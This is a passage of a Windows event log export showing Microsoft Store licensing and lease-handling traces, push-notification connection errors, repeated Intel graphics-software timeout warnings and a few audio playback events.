(1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831ab8c8\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8012\t0x21f831d3200: 8012: Key:NegotiatingUnleased Change: Key:Valid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8011\t0x21f8312a820: 8012: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8012\t0x21f8312a820: 8012: Lease:Initial Change: Lease:Valid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8011\t0x21f831d3200: 2976: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8011\t0x21f831d3200: 13532: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8012\t0x21f831d3200: 13532: Key:Valid Change: Key:Invalid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8001\t\"Updating lease timer for {2CE050AC-4159-AABB-AC60-9CED070AF672} to expire @ 2026-09-11T13:58:38Z (jitter was 34.034996 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8001\t\"Added timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8011\t0x21f8312a820: 8012: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8011\t0x21f8312a820: 8012: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8011\t0x21f8312a820: 8012: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8012\t0x21f8312a820: 8012: Lease:Valid Change: Lease:Invalid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8001\t\"Requesting lease document removal for reason 0x00000000, {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t173\tProduct key from MSDM table redeemed. Result: 0x0\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:57:51.234\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.234\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.234\t8002\t\"Trying to remove timer {2CE050AC-4159-AABB-AC60-9CED070AF672} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.234\t8001\t\"Removed timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.303\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:51.523\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:52.171\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:52.386\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:52.397\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:52.404\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:59.346\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:59.346\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:59.366\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:59.366\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:58:08.142\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:58:08.142\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:58:08.142\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:58:08.156\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:58:09.240\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:09.246\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:09.460\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:09.671\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:09.883\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:10.106\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:10.332\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:10.551\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:10.993\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:11.214\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:11.547\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:12.323\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:13.437\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:14.439\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:14.662\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:14.885\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:15.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:15.329\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:16.104\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:16.888\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:17.112\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:17.336\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:17.559\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:17.781\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:17.999\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:18.222\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:18.667\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:19.670\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:19.891\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:20.225\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:20.448\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:20.672\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:20.894\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:20.926\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:58:20Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:58:21.105\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:21.886\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:22.443\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:22.666\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:22.913\t21\tSound level for application [Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic] changed to [0]\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:58:22.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:23.005\t22\tSuspended: true\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:58:23.005\t23\t\"Released exclusive mode resource false\nReleased offload mode resource true\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:58:23.328\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:23.550\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:23.773\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:23.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:24.218\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:25.660\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:25.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:26.331\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:26.554\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:27.560\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:27.782\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:28.559\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:28.782\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:29.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:29.338\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:29.784\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:30.341\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:30.564\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:30.770\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:31.548\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:32.106\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 